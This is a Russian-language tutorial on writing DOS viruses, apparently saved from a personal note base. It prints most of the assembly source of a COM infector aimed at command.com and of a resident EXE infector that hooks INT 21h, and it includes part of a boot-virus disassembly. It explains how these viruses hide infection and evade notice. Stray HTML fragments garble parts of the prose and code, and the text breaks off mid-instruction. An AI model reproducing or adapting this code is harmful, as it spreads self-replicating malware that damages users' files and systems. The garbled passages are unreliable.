|
|||||||
Пишем вирус и антивирус
Время создания: 23.07.2017 16:53
Автор: Сазонов Д.О.
Текстовые метки: вирус, антивирус
Раздел: Комп - Virus
Запись: Bunny-Hop/mytetrabase/master/base/1500789222erk382nrl5/text.html на raw.githubusercontent.com
|
|||||||
|
|||||||
Основы вирусологии Итак, что же такое ВИРУС и ВИРУСОЛОГИЯ? Предлагаю следующие определение вируса: Df: Вирус – это специально написанная короткая программа способная нелегально работать на компьютере выполняя определенную задачу и присоединяться к файлам на диске. В общем единственно важным здесь является то, что во первых вирус – это программа, причем она может быть написана даже на BASIC, а во вторых обычно вирусы присоединяются к другим программам. От чего собственно и пошло их название. А программа к которой присоединился вирус после присоединения считается уже зараженной. Причем, смею заметить, что вирус может присоединиться не только к файлам с расширениями Com и Exe, но и ко многим другим, например, к текстовым файлам или бутсектору компьютера. Но эта особенность не самая страшная в вирусах. Основное зло – их свойство занимать память и портить программы. Например, неграмотно написанный вирус может испортить все программы на диске, но и грамотный вирус если его целью является уничтожение причинит не меньше вреда. Под грамотно написанным вирусом я подразумеваю вирус написанный опытным программистом имеющим большой опыт в этой области. В общем все вирусы можно разделить на несколько категорий по способу заражения: загрузочные, файловые, макровирусы, DIR-вирусы, BAT- вирусы, PKT и NUKE – вирусы и шпионы. ЗАГРУЗОЧНЫЕ ВИРУСЫ Вирусы этого класса (также называемые BOOT – вирусами [бут]) записываются в самую первую дорожку винчестера и ждут своего часа. Ждать им приходиться не слишком долго т.к. при каждом запуске компьютера первым делом запускается программа находящаяся именно в этом секторе. Поэтому вирус запускается каждый раз при включении компьютера. Рассмотрим подробнее идею такого способа заражения. Идея такого заражения заключается в особенности запуска любого компьютера совместимого с IBM. Дело вот в чем: для того чтобы загрузить операционную систему при каждой загрузке BIOS (Basic Input Output System) загружает в память по адресу 0000: 7С00h программу записанную на диске на самой первой дорожке. После чего BIOS запускает эту программу из памяти, а уж эта программа запускает MSDOS или другую операционную систему. Вы спросите: а зачем нужна такая программа? А вот зачем – для каждой ОС (операционной системы) запускаются файлы с разными названиями. Если сделать так, что всегда будут загружаться файлы с одними и теми же именами и в том же порядке – это будет означать, что ПК не сможет работать с другой ОП, например OS/2 или UNIX. Короче говоря программа в начальном секторе загружает и запускает файл конкретной ОС, которая находиться в данный момент на ПК. Кроме этой программы в начальном секторе храниться информация о структуре диска – кол-во секторов на дорожку, название диска и т.д. Для нас будут интересны здесь только два участка. Первый находится в самом начале. Это два байта – на самом деле это код команды перехода JMPS. В данном случае EB 3E можно перевести как JMPS 000040h эта команда указывает по какому адресу в начальном секторе находится программа загрузки, т.е. 40h. Вы можете сами посмотреть и прочитать программу загрузки, для этого предлагаю небольшую программу на PASCAL {Программа считывает нулевой сектор в файл} var i:integer; buf:array[1..64000] of byte absolute $a000:0000; f:file; c:char; w:word; begin for i:=1 to 1024 do buf[i]:=0; asm mov ax,seg(buf)mov es,ax mov ah,2 {операция чтения} mov dl,3 {диск C} mov dh,0 {головка} mov cx,1 {цилиндр} mov al,1 {читаем один сектор} mov bx,offset buf int 13h end; assign(f,'MBR.BIN'); rewrite(f); blockwrite(f,buf,500,w); close(f); end. Внимание! Ничего не меняйте в данной программе, иначе возможна порча информации. Итак, алгоритм заражения у бут-вирусов следующий: 1. Прочитать бут сектор. 2. Сохранить в свободном пространстве (обычно в самом конце диска) копию сектора. Или же в разделе диска 0/0/2 т.е. в том же нулевом секторе – сразу за кодом вируса. 3. После чего по адресу куда указывает команда JMPS записать свой код. После запуска вирусы этого типа производят следующие действия: 1. Из общего кол-во свободной памяти вычитается длинна вируса. Для уменьшения памяти вирусы обычно используют переменную BIOS, которая находится по адресу 0000: 0413h 2. В конец памяти записывается код вируса и выполнение продолжается уже из другого участка памяти 3. Загружается копия оригинального начального сектора на место запуска вируса (к тому моменту он уже скопировал себя в память). 4. Вирус остается в памяти 5. Запускается оригинал бут-сектора. Хорошим примером такого типа вируса может служить довольно известный вирус NYB, которым одно время были постоянно заражены компьютеры ВГПУ (я сам заразиться успел, но вовремя выловил). Приведу только начало: 040: 0E push cs 041: E8AB00 call 0000000EF 044: 50 push ax 045: D1E8 shr ax,1 047: FECC dec ah 049: 7403 je 00000004E 04B: E96C01 jmp 0000001BA 04E: 53 push bx 04F: 51 push cx 050: 52 push dx 051: 06 push es 052: 56 push si 053: 57 push di 054: 1E push ds 055: 55 push bp 056: 8BEC mov bp,sp 058: 08ED or ch,ch 05A: 755B jne 0000000B7 05C: D0E0 shl al,1 05E: 7227 jb 000000087 060: E82D01 call 000000190 063: E81501 call 00000017B 066: 7255 jb 0000000BD 068: E8BC00 call 000000127 06B: 741A je 000000087 06D: E82001 call 000000190 070: E8C800 call 00000013B 073: 7442 je 0000000B7 075: FEC4 inc ah 077: E80101 call 00000017B 07A: 723B jb 0000000B7 07C: E80301 call 000000182 07F: E80E01 call 000000190 082: FEC4 inc ah 084: E8F400 call 00000017B 087: E81401 call 00000019E 08A: 08F5 or ch,dh 08C: 49 dec cx 08D: 7528 jne 0000000B7 08F: E8FE00 call 000000190 092: E8E600 call 00000017B 095: 7226 jb 0000000BD 097: E88D00 call 000000127 09A: 751B jne 0000000B7 09C: E8FF00 call 00000019E 09F: E89900 call 00000013B A2: FE4E10 dec b,[bp][00010] A5: 7413 je 0000000BA A7: B001 mov al,001 A9: E8CF00 call 00000017B AC: 720F jb 0000000BD AE: E8ED00 call 00000019E B1: 01FB add bx,di B3: FEC1 inc cl B5: EB03 jmps 0000000BA B7: E8E400 call 00000019E BA: E8BE00 call 00000017B BD: 9C pushf BE: 5B pop bx BF: 895E16 mov [bp][00016],bx C2: 874610 xchg ax,[bp][00010] C5: D0EC shr ah,1 C7: 731C jae 0000000E5 C9: 31C0 xor ax,ax CB: 8ED8 mov ds,ax CD: A16D04 mov ax,[0046D] D0: 258F17 and ax,0178F D3: 7510 jne 0000000E5 D5: E8B800 call 000000190 D8: 50 push ax D9: E89F00 call 00000017B DC: 81F1C0FF xor cx,0FFC0 E0: D1E0 shl ax,1 E2: 58 pop ax E3: 73F3 jae 0000000D8 E5: 5D pop bp E6: 1F pop ds E7: 5F pop di E8: 5E pop si E9: 07 pop es EA: 5A pop dx EB: 59 pop cx EC: 5B pop bx ED: 58 pop ax EE: CF iret NOTE: Первая колонка цифр – это смещения кода вируса относительно начального сектора, вторая колонка это собственно шестнадцатиричный код вируса, а далее его текст на языке ассемблера. Файловые вирусы Этот тип вирусов является самым распространенным из всех. Вирусы этого типа заражают исполняемые файлы, оверлеи и драйверы. Но это совсем не значит, что если вирус заражает файлы он не может заразить, что либо еще (например бут-сектор или архив). Также часто встречаются вирусы гибриды которые могут заразить как бут-сектор, так и все виды исполняемых файлов. Эти вирусы являются самыми опасными т.к. распространяются с очень большой скоростью и поражают большое кол-во файлов. Такие вирусы называются файлово-загрузочными и рассмотрены здесь не будут. Давайте рассмотрим принцип работы файловых вирусов. На данный момент Вам уже должны быть известны два типа исполняемых файлов – это файлы с расширением СОМ и ЕХЕ. Чтобы узнать как вирусы их заражают, нам для начала понадобиться усвоить разницу между этими типами файлов, а также принцип их работы. tc "<new topic>" \l 1xe "Формат Com файла"xe "Заражение COM"COM – это самый простой из исполняемых файлов. Внутри него располагается сразу же сам код программы, но программа не может быть больше 65535 байт. Реально же программа должна быть меньше этого кол-ва байт из-за того, что программе еще требуется место для стека. Также особенностью файлов этого типа является то, что все программы этого типа имеют одинаковый стартовый адрес – 100h (или в десятичной системе 257). В основном программы с расширением СОМ пишут на языке ассемблера в основном для того, чтобы использовать поменьше памяти. Заражение СОМ файла является самым простым из всех. Идея заражения очень простая. Сначала вирус узнает длину файла и записывает ее в какую нибудь переменную, например V_START. Фактически содержимым этой переменной является последний байт файла. Далее вирус записывает свое тело прямо за программой т.е. V_START+1. Далее вирус переходит на самое начало файла и вставляет туда команду перехода GO TO V_START т.е. делает переход на адрес, где находится его код. Теперь давайте рассмотрим принцип такого заражения на примере вируса AnitComm. Правда для этого Вам потребуются некоторые знания ассемблера, но я постараюсь все прокомментировать как можно подробнее. Здесь я оставил только алгоритм заражения, остальное стерто. cseg segment Инициализируем сегменты кода и данных assume cs:cseg,ds:cseg Указывает компилятору, что программа должна запускаться с адреса 100h. org 100h Начало программы start: Переходим на установку вируса jmp begin Эти данные нам нужны для получения сообщений о проведении установки. mes1 db 'command.com 0pen ERRoR!',13,10,'$' mes2 db 13,10,'Install ErroR!',13,10,7,'$' mes3 db 13,10,'Already InSTAllED!',13,10,7,'$' Заражать будем Command.com, заносим это имя в переменную FILE file db 'c:\command.com',0 _body: Стандартный метод определения текущей позиции счетчика команд. См. три строчки ниже. После этого в BP будет находиться адрес команды pop bp. call _next _next: pop bp sub bp,offset _next ………………. Здесь находятся процедуры вируса. В случае этого вируса, здесь находились процедуры уничтожения винчестера и BIOS. ……………….. _count: Далее начианается самое интересное. После того как вирус отработал свое ему надо запустить программу, которую он заразил, причем, чтобы она работала корректно. (см. конец вируса)В общем теперь вирус восстанавливает ранее сохраненные в буфере 3 начальных байта программы. Раз программа начинается с адреса 100h, то прежние значения надо записать в 100h,101h,102h, что вирус и делает. mov al,byte ptr cs:[_buff1+bp] mov byte ptr cs:[100h],al mov al,byte ptr cs:[_buff1+1+bp] mov byte ptr cs:[101h],al mov al,byte ptr cs:[_buff1+2+bp] mov byte ptr cs:[102h],alДалее используется довольно хитрый прием запуска программы о котором в двух словах не расскажешь, да и кроме того это выходит за рамки данной темы. Одним словом следующие три строчки полностью аналогичны команде (jmp 100h). Кроме того здесь можно было бы упростить и укоротить программу если бы автор вируса написал так [push 100h; retn]. mov ax,100h push ax retnвыделяем массив длинной 1сh (28 байт) для хранения начала заражаемой программы_buff1 db 1ch dup (0)Длнна внедраямого куска вируса_len equ $-_bodyЗдесь происходит само заражениеbegin:открываем файл имя которого находится в переменной FILE, для чтения записи, заодно сначала вирус снимает все атрибуты файла (только для чтения, системный, скрытый, архивный) mov dx,offset file mov ax,4301h xor cx,cx int 21h mov ax,3d02h mov dx,offset file int 21hЕсли не произошло никакой ошибки то переходим на метку _Well jnc _wellЕсли произошла ошибка печатает сообщение об ошибке которое находиться в переменных mes1 и mes2, затем заражение останавливается и вирус выходит в DOS mov ah,9 mov dx,offset mes1 int 21h_badexit: mov ah,9 mov dx,offset mes2 int 21h mov ax,4c01h int 21hФайл открыт успешно_well:Вирус узнает дату и время создания файла. После заражения оивосстановит все как было прежде mov bx,ax mov ax,5700h int 21hПроверка на заражение. Данный вирус при заражении ставит во времени создания файла в поле секунды – единицу. А при повторном заражении смотрит, если файл создан в 01 секунду, то он считает его уже зараженным и больше не заражает cmp ch,1Если файл не заражен то перейти на _noclose jne _nocloseИначе печатаем сообщение mes3 (см. начало вируса) и выходим в DOS mov ah,9 mov dx,offset mes3 int 21h jmp _closeЕсли файл не заражен, то подготавливаем его к заражению._noclose:для начала вирус считывает первые 28 байт файла в массив _buff1 mov ah,3fh mov dx,offset _buff1 mov cx,1ch int 21hЗатем вирус проверяет какой тип файлов он заражает по сигнатуре MZ (см. про заражение ЕХЕ). Если первые два символа MZ, то вирус считает файл EXE файлом и заражение идет по другому алгоритму.Так как в этой главе мы рассматриваем заражение только СОМ файлов я убрал из вируса алгоритм заражения ЕХЕ файлов, чтобы он не занимал места. Подобные алгоритмы будут рассмотрены в главе про заражение ЕХЕ файлов. Так как байты в памяти храняться в перевернутом виде вирус сравнивает значения в массиве с 'ZM', а не с 'MZ'. cmp word ptr cs:[_buff1],'ZM' jne _comtЕсли это ЕХЕ файл то выход в DOS nbsp;end.nbsp;nbsp;nbsp;асполагается сразу же сам код программы, но программа не может быть больше 65535 байт. Реально же программа должна быть меньше этого кол-ва байт из-за того, что программе еще требуется место для стека. Также особенностью файлов этого типа является то, что все программы этого типа имеaddressnbsp;nbsp;_count:nbsp;ют одинаковый старstrongnbsp;товый адрес ; int 20h_comt: Передвинуть указатель к самому концу файла (Аналогия в PASCAL – Seek(f, FileSize(f)) ) xor dx,dx xor cx,cx mov ax,4202h int 21h В результате выполнения этой функции в DX:AX – новое абсолютное смещение от начала файла. Фактически в регистре AX – находиться длинна файла. sub ax,3Вычли из него 3 – столько байт занимает команда Jmp begin (см. Начало вируса). Так как эта команда нужна только при установке вируса, теперь от нее можно избавиться.Теперь запоминается адрес вируса в переменной _jamp1. mov word ptr cs:[_jamp1],axЗаписываем в конец файла код вируса (аналог в Pascal – BlockWrite(f, _body, _len)); mov ah,40h mov dx,offset _body mov cx,_len int 21h Теперь переходим опять в начало файла (Seek(f,0)) xor cx,cx xor dx,dx mov ax,4200h int 21h Теперь вирус записывает в начало три байта за переменной _Jamp.Если посмотреть внимательно, то можно заметить, что эта переменная занимает всего один байт, а в файл будет записано еще два после нее. Сразу после переменной _jamp сразу идет переменная _jamp1, а если посмотрите выше, то увидите что в _jamp1 храниться длинна файла (или же начало вируса).А в _lamp храниться число 0е9h – это код команды JMP (аналог в Pascal – goto …). Итак, получается что вирус записывает в начало команду jmp и адрес куда перейти – т.е. начало вируса. mov ah,40h mov dx,offset _jamp mov cx,3 int 21h Теперь остается последнее – замести следы.Для этого восстанавливается дата и время. mov ax,5700h int 21h А для того, чтобы повторно не заразить файл, вирус устанавливает секунды создания в 1. mov ch,1 mov ax,5701h int 21h close:Закрыли файл (аналогия в PASCAL – Close(f)) mov ah,3eh int 21h Вышли в DOS – программа уже заражена. int 20h Переменные вирусаhand dw 0_jamp db 0e9h_jamp1 dw 0_buff:Закрываем сегментcseg endsконец программы (аналогия end.) end startВ принципе этот вирус один из самых простых, тем не менее он способен разрушать все данные на диске плюс ко всему уничтожать память Bios – т.е. ту которая остается после выключения компьютера. Кстати говоря уже DrWeb 4.0 его определяет и лечит. EXE-вирусы ЕХЕ – на этом типе файлов стоит остановиться и рассмотреть его более внимательно и детально. Размер ЕХЕ файлов может быть любого размера – и это его явное преимущество, но за все надо платить и ЕХЕ расплачивается тем что имеет довольно запутанный заголовок. Кстати говоря, именно благодаря этому заголовку компьютер определяет при запуске программы к какому типу она относиться, а именно если первые два байта содержат буквы MZ значит загружается ЕХЕ файл иначе СОМ файл. Вы можете это проверить на практике. Возьмите выберите любой файл с расширением ЕХЕ и нажмите F3. Первые два символа обязательно будут MZ, иначе этот файл является обычным СОМ файлом, только по каким то причинам его переименовали в ЕХЕ или же файл является испорченным. Вернемся же теперь к заголовку ЕХЕ файла: Смещение Содержимое 00-01 Признак ЕХЕ файла. Всегда содержит 4D5Ah (в символьной форме"MZ") по этим двум буквам ПК определяет, что загружают ЕХЕ файл 02-03 Длина последнего блока. Блоки по 512 байт.04-05 Аналогично предыдущему 06-07 Кол-во элементов таблицы настройки адресов (Relocation table) 08-09 Длинна заголовка в параграфах. 0А-0В Минимальный объем памяти который надо выделить после конца программы ( в параграфах) 0C-0D Максимальный объем памяти 0Е-0F Сегментный адрес стека относительно начала программы (SS) 10-11 Значение SP при запуске 12-13 Контрольная сумма файла (практически не используется) 14-15 Значение IP (точка запуска программы) 16-17 Значение сегмента кода CS 18-19 Адрес первого элемента ТHА 1A-1B Hомер сегмента перекрытия (используется только оверлеями) Для вируса самыми важными полями являются 0E-11,14-17 так именно эти поля показывают с какого адреса будет запускаться программа. Вирусу достаточно настроить их на свое тело и при запуске программы будет запускаться вирус, после чего вирус передает управление исходной программе. Алгоритм заражения сводиться к следующему: 1. открывается заражаемый файл 2. читается его заголовок в буфер где то в памяти 3. если он еще не заражен то происходит заражение иначе выход 4. сохраняются исходные настройки в коде вируса 5. делается переход на конец файла, далее по длине корректируется сохраненный в буфере заголовок заражаемого файла. 6. записывается вирус в конец файла 7. переходит к началу файла 8. запись измененного заголовка 9. выход Давайте рассмотрим реализацию данного алгоритма на конкретном примере. Для примера возьму примитивный вирус N19, правда DrWeb определяет его как Exe.Tsr.Virus – наверное потому, что из-за простоты этот вирус не распространен. Итак вот его исходный текст: (Я его немного обрезал, чтобы оставить только самое важное, а именно заражение EXE) f_number: DW 0 ;хранилище для описателя файла ; ; ;хранилище для адреса стандартногоsaved_int21: DD 0 ; обработчика прерывания 21 ; ; (2 слова) ; ;int21_treater:CMP AH,4Bh JE begin JMP retro ;возврат управления стандарт. обра-begin: PUSH AX ; ботчику INT 21h, если не EXEC PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH DI PUSH SI ;-------------поиск конца имени запускаемого файла------------¬ MOV DI,DX ;имя адресуется resend_again: INC DI ; DS:[DX] (входной CMP byte ptr DS:[DI],0 ; параметр EXEC) JNE resend_again ; ;-------------------------------------------------------------- ;----------если не ЕХЕ, то JMP на глобальный POP--------------¬ CMP word ptr DS:[DI-2],4558h ; "XE" JNE to_no_exe ; CMP word ptr DS:[DI-4],452Eh ; ".Е" JE thats_exe ;(JNP short простоto_no_exe: JMP no_exe ; не достанет) ;--------------------------------------------------------------thats_exe: ;----------открыть файл для чтения/записи---------------------¬ MOV CX,0 ;DS:[DX] имя файла MOV AH,3Dh ; MOV AL,2 ;открыть в режиме CALL call_int21 ;пиши-читай MOV word ptr CS:[f_number-100h],AX ; ;-------------------------------------------------------------- ;-----------прочитать данные из заголовка в свой буфер-------- PUSH CS ; POP DS ; MOV AH,3Fh ; MOV DX,OFFSET data_exe - 100h ; MOV CX,20h ; MOV BX,word ptr CS:[f_number-100h] ; CALL call_int21 ; ;-------------------------------------------------------------- ;-----------проверить, -- заражен ли уже----------------------¬ CMP word ptr DS:[data_exe - 100h + 0Ah],50h ;сигнатура ? JNE thats_clear ; JMP no_exe ;да -- goodbye!thats_clear: MOV word ptr DS:[data_exe - 100h + 0Ah],50h ;сигнатура set! ;-------------------------------------------------------------- ;-----------сохранить исходн. настройки ЕХЕ-файла в своем коде¬ MOV AX,word ptr CS:[data_exe - 100h + 14h] ;-T-IP сохране- MOV word ptr CS:[saved_ip - 100h + 1],AX ;-- ние в MOV AX,word ptr CS:[data_exe - 100h + 16h] ;-T-CS коде ре- MOV word ptr CS:[saved_cs - 100h + 1],AX ;-- зидента MOV AX,word ptr CS:[data_exe - 100h + 10h] ;-T-SP изменяе- MOV word ptr CS:[saved_sp - 100h + 1],AX ;-- мых на- MOV AX,word ptr CS:[data_exe - 100h + 0Eh] ;-T-SS строек MOV word ptr CS:[saved_ss - 100h + 1],AX ;-- ;-------------------------------------------------------------- ;-----------перемещаем указатель к концу файла ---------------¬ XOR CX,CX ; XOR DX,DX ; MOV BX,word ptr CS:[f_number-100h] ; MOV AL,2 ; MOV AH,42h ;в AX,DX--получе- CALL call_int21 ;на длина файла ;-------------------------------------------------------------- ;---------корректировка длины файла в заголовке---------------¬ PUSH AX ;в AX,DX--длина PUSH DX ; файла L MOV BX,200h ;AX = L div 512 DIV BX ;DX = L mod 512 INC AX ; ADD DX,1C3h ;длина вируса ;помещаем в сме- CMP DX,200h ; щенный заголо- JB no_add ; вок новую дли- INC AX ; ну файла (см. SUB DX,200h ; формат заго-no_add: MOV word ptr CS:[data_exe - 100h + 2h],DX ; ловка) MOV word ptr CS:[data_exe - 100h + 4h],AX ; POP DX ;в AX,DX--длина POP AX ; файла L ;-------------------------------------------------------------- ;---определяем смещение от начала файла (от точки после PSP) -¬ PUSH AX ; до его конца ; MOV AX,DX ; MOV BX,1000h ;AX -- сегмент MUL BX &nnbsp;nbsp;nbsp; MOVnbsp;nbsp;bsp; &nbs/addressnbsp;p; nbsp;; ; смещения POP DX ;DX -- офсет ; ; CMP AX,0 ;либо от AX от- JE sub_dx ; нимаем хедер,sub_ax: SUB AX,word ptr CS:[data_exe - 100h + 8h] ; JMP short length_got ; ; ; sub_dx: PUSH AX ; -- либо от DX PUSH DX ;В результате MOV AX,word ptr CS:[data_exe - 100h + 8h] ; всей этой мо- MOV BX,10h ; роки в AX:DX MUL BX ; получено сег- POP DX ; мент-оффсетн. SUB DX,AX ; смещ-е от на- POP AX ; чала файла length_got: ;------L-наверное это можно было сделать намного изящнее------- ;----------корректировка точки начала пересылки (для посадки--¬ MOV word ptr CS:[M1 - 100h +1],DX ;резидента в МСВ-блок) ;-------------------------------------------------------------- ;-------корректировка CS:IP и SS:SP в смещенном заголовке-----¬ MOV word ptr CS:[data_exe - 100h + 14h],DX ;---IP MOV word ptr CS:[data_exe - 100h + 16h],AX ;---CS ADD AX,50h ; MOV word ptr CS:[data_exe - 100h + 10h],DX ;---SP MOV word ptr CS:[data_exe - 100h + 0Eh],AX ;---SS ;-------------------------------------------------------------- ;-------------запись кода вируса------------------------------¬ MOV BX,word ptr CS:[f_number-100h] ; MOV DX,OFFSET my_head-100h ;DS:[DX] буфер MOV CX,my_end - my_head ; MOV AH,40h ; CALL call_int21 ; ;-------------------------------------------------------------- ;------------установка LSEEK на начало------------------------¬ XOR CX,CX ; XOR DX,DX ; MOV BX,word ptr CS:[f_number-100h] ; MOV AL,0 ; MOV AH,42h ; CALL call_int21 ; ;-------------------------------------------------------------- ;------------запись измененных данных заголовка---------------¬ MOV BX,word ptr CS:[f_number-100h] ; MOV DX,OFFSET data_exe-100h ;DS:[DX] буфер MOV CX,20h ; MOV AH,40h ; CALL call_int21 ; ;-------------------------------------------------------------- ;---------закрыть файл----------------------------------------¬to_close: MOV BX,word ptr CS:[f_number-100h] ; MOV AH,3Eh ; CALL call_int21 ; ;--------------------------------------------------------------no_exe: POP SI POP DI POP ES POP DS POP DX POP CX POP BX POP AXretro: JMP dword ptr CS:[saved_int21-100h] ; ;call_int21: ;-------вызов стандартного обработчика INT 21h-(процедура)----¬ PUSHF ; CALL dword ptr CS:[saved_int21-100h] ; RET ; ;-------------------------------------------------------------- ; ; ; ; ;initial: PUSH DS ;----сохраняем адрес начала PSP PUSH ES ;----сохраняем ES ;--------------проверяем наличие TSR - копии в памяти---------¬ MOV AX,40h ; MOV ES,AX ; CMP byte ptr ES:[134h],55h ; JE no_tsr ; MOV byte ptr ES:[134h],55h ; ;-------------------------------------------------------------- ;--------------создаем TSR - копию----------------------------¬ ; О том как оставлять программу в памяти резидентно я расскажу в отдельной главе, ; там же будут описаны MCB блоки. MOV AX,DS:[02] ;берем вершину свободной памяти ; ; (в параграфах) SUB AX,30h ;уменьшаем ее на 40h (в парагр.) ; ; PUSH DS ;>> ;копируем из источника DS:head PUSH CS ;копируем в приемник ES:00; в ES POP DS ; - новая вершина своб. памятиm1: MOV SI,OFFSET my_head ; MOV ES,AX ;m1-метка команды с коррек- XOR DI,DI ; тируемым операндом MOV CX,my_end - my_head ; CLD ; REPE MOVSB ; POP DS ;<< ; ; ; MOV BX,DS ; DEC BX ; MOV DS,BX ;уменьшаем размер МСВ-блока SUB word ptr DS:[03h],30h ;уменьшаем вершину свободной SUB word ptr DS:[12h],30h ; памяти ;-------------перехват вектора--------------------------------¬ XOR BX,BX ; сохраняем старый MOV DS,BX ; вектор ;Кстати говоря довольно грубая работа. Намного проще было бы использовать ;32-битную команду XCHG. Я всегда с помощью ее перехватываю прерывание. MOV AX,DS:[21h*4+0] ;48Bh ; MOV word ptr ES:[saved_int21-100h+0],AX ; MOV AX,DS:[21h*4+2] ;5BDh ; MOV word ptr ES:[saved_int21-100h+2],AX ; ; ; CLI ; замен. в таблице MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;->OFST MOV word ptr DS:[21h*4+2],ES ;------>SEGMENT STI ; ;----------------------------------------------nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;----------------no_tsr: ;-nbsp;nbsp;------------переход на начало с реставрацией регистров------¬ POP AX ;---восстановленный DS MOV DS,AX ; ADD AX,10h ;---терерь это -- PSP POP ES ;---восстанавливаем ES ; ; CMP word ptr CS:[00],20CDh ;нужно лишь для самого первого JNE no_first ; запуска культуры вируса RET ; ; ; no_first: CLI ;восстанавливаем стек: saved_ss: MOV CX,1234h ; вместо 1234h сюда при зараже- ADD CX,AX ; нии будет записано исходное MOV SS,CX ; значение SS saved_sp: MOV SP,1234h ;а сюда, -- исход. значение SP STI ;L--T-------------------------- ; ; ; ; saved_cs: MOV DI,1234h ;а сюда, -- исход. значение CS ADD AX,DI ; PUSH AX ; saved_ip: MOV AX,1234h ;а сюда, -- исход. значение IP PUSH AX ; RETF ; ;--------------------------------------------------------------data_exe: ;my_end: ; В принципе из всего этого текста нас будет интересовать только один кусок. Вернемся к метке thats_clear и рассмотрим все еще раз более внимательно. Устанавливается признак заражения файла – это байт равный 50h thats_clear: MOV word ptr DS:[data_exe - 100h + 0Ah],50h Сохраняет начальные установки EXE файла в своем коде, чтобы потом передать по ним управление заражаемой программе. Обратите внимание, что из адреса буфера где будут храниться начальные данные вычитается 100h. Дело в том, что вирус в начале компилируется в виде COM файла, а обязательным правилом любого Com является обстоятельство, что программа должна начинаться с адреса 100h, по этому при заражении его надо вычитать! MOV AX,word ptr CS:[data_exe - 100h + 14h] ;-T-IP сохране- MOV word ptr CS:[saved_ip - 100h + 1],AX ;-- ние в MOV AX,word ptr CS:[data_exe - 100h + 16h] ;-T-CS коде ре- MOV word ptr CS:[saved_cs - 100h + 1],AX ;-- зидента MOV AX,word ptr CS:[data_exe - 100h + 10h] ;-T-SP изменяе- MOV word ptr CS:[saved_sp - 100h + 1],AX ;-- мых на- MOV AX,word ptr CS:[data_exe - 100h + 0Eh] ;-T-SS строек MOV word ptr CS:[saved_ss - 100h + 1],AX ;-- ;-------------------------------------------------------------- ;-----------перемещаем указатель к концу файла ---------------¬ XOR CX,CX ; XOR DX,DX ; MOV BX,word ptr CS:[f_number-100h] ; MOV AL,2 ; В переменной CALL_int21 храниться адрес 21h прерывания, который был до заражения вирусом. MOV AH,42h ;в AX,DX--получе- CALL call_int21 ;на длина файла ;---------корректировка длины файла в заголовке---------------¬В общем далее вычисляем длину файла, затем прибавляем к ней длину вируса – она равна 1с3h и переписываем значения в заголовке EXE-шника по смещению 2 и 4 (см. Таблицу) PUSH AX ;в AX,DX--длина PUSH DX ; файла L MOV BX,200h ;AX = L div 512 DIV BX ;DX = L mod 512 INC AX ; ADD DX,1C3h ;длина вируса ;помещаем в сме- CMP DX,200h ; щенный заголо- JB no_add ; вок новую дли- INC AX ; ну файла SUB DX,200h no_add: MOV word ptr CS:[data_exe - 100h + 2h],DX MOV word ptr CS:[data_exe - 100h + 4h],AX ; POP DX ;в AX,DX--длина POP AX ; файла L ;---определяем смещение от начала файла (от точки после PSP) -¬ PUSH AX ; до его конца ; MOV AX,DX ; MOV BX,1000h ;AX -- сегмент MUL BX ; смещения POP DX ;DX -- офсет CMP AX,0 ;либо от AX от- JE sub_dx ; нимаем хедер,sub_ax: SUB AX,word ptr CS:[data_exe - 100h + 8h] ; JMP short length_got ; ; ; sub_dx: PUSH AX ; -- либо от DX PUSH DX ;В результате MOV AX,word ptr CS:[data_exe - 100h + 8h] ; всей этой мо- MOV BX,10h ; роки в AX:DX MUL BX ; получено сег- POP DX ; мент-оффсетн. SUB DX,AX ; смещ-е от на- POP AX ; чала файла length_got: MOV word ptr CS:[M1 - 100h +1],DX ;-------корректировка CS:IP и SS:SP в смещенном заголовке-----¬ MOV word ptr CS:[data_exe - 100h + 14h],DX ;---IP MOV word ptr CS:[data_exe - 100h + 16h],AX ;---CS ADD AX,50h ; MOV word ptr CS:[data_exe - 100h + 10h],DX ;---SP MOV word ptr CS:[data_exe - 100h + 0Eh],AX ;---SS ;-------------запись кода вируса------------------------------¬ MOV BX,word ptr CS:[f_number-100h] ; MOV DX,OFFSET my_head-100h ;DS:[DX] буфер MOV CX,my_end - my_head ; MOV AH,40h ; CALL call_int21 ; ;------------установка LSEEK на начало------------------------¬ XOR CX,CX ; XOR DX,DX ; MOV BX,word ptr CS:[f_number-100h] ; MOV AL,0 ; MOV AH,42h ; CALL call_int21 ; ;------------запись измененных данных заголовка---------------¬ MOV BX,word ptr CS:[f_number-100h] ; MOV DX,OFFSET data_exe-100h ;DS:[DX] буфер MOV CX,20h ; MOV AH,40h ; CALL call_int21 ; Вообще то, этот пример не слишком иллюстрирует пример заражения. Да и кроме того какой-то он слишком запутанный, но тем не менее он может служить примером настоящего вируса. Но все же, мне кажется, для получения информации о заражении EXE файлов стоит обратиться ни к настоящим вирусам (т.к. как кроме этого обычно напихано еще всякой всячины, не относящейся к делу), а специальным примерам. Так вот, на мой взгляд намного лучше предыдущего примера является следующий: Получаю значения IP и CS. Все организованно довольно хитрым способом, причем оригинальным – такого я раньше не встречал. Для этого используется команда LES которая помещает сразу IP в AX, а Сnbsp;nbsp;nbsp; word ptr CS:[M1 - 100h +1],DXnbsp;S в ES – это круто! les&nnbsp;nbsp;nbsp;my_end:nbsp;nbsp;nbsp;bsp; ax, dword ptr [bp+buffer+14h] nbsp;nbsp; JE; mov word ptr [bp+jmpsave2], ax mov word ptr [bp+jmpsave2+2], es Таким же образом сохраняется стек. les ax, dword ptr [bp+buffer+0Eh] mov word ptr [bp+stacksave2], es mov word ptr [bp+stacksave2+2], ax Получаю размер заголовка mov ax, word ptr [bp+buffer + 8] так как размер дается в параграфах придется его еще умножить на 16. Видимо вирус из которого взят этот пример писался давно, т.к. явно рассчитан под процессор 8086. В принципе все вирусы для совместимости с разными компьютерами стоит писать для данного процессора. (если заранее не известно где будет запущен ВАШ ВИРУС!). Конечно на более "высоких" процессорах все бы выглядело более изящно, но с этим приходиться мириться. Если будете писать для 386, 486 или Pentium следующие строки можно заменить на SHL AX,4 mov cl, 4 shl ax, cl Поместили длинну файла в BX xchg ax, bx Теперь вирус узнает длинну файла! les ax, [bp+offset newDTA+26] mov dx, es push ax push dx Вычитаем из длинны файла заголовок. sub ax, bx sbb dx, 0 Теперь надо получившуюся ерунду преобразовать в формат СЕГМЕНТ: СМЕЩЕНИЯ. А так как сегмент может начинаться с адреса только кратного 16 то делим на 16. mov cx, 10h div cx Сохраняю модифицированные адреса mov word ptr [bp+buffer+14h], dx mov word ptr [bp+buffer+16h], ax mov word 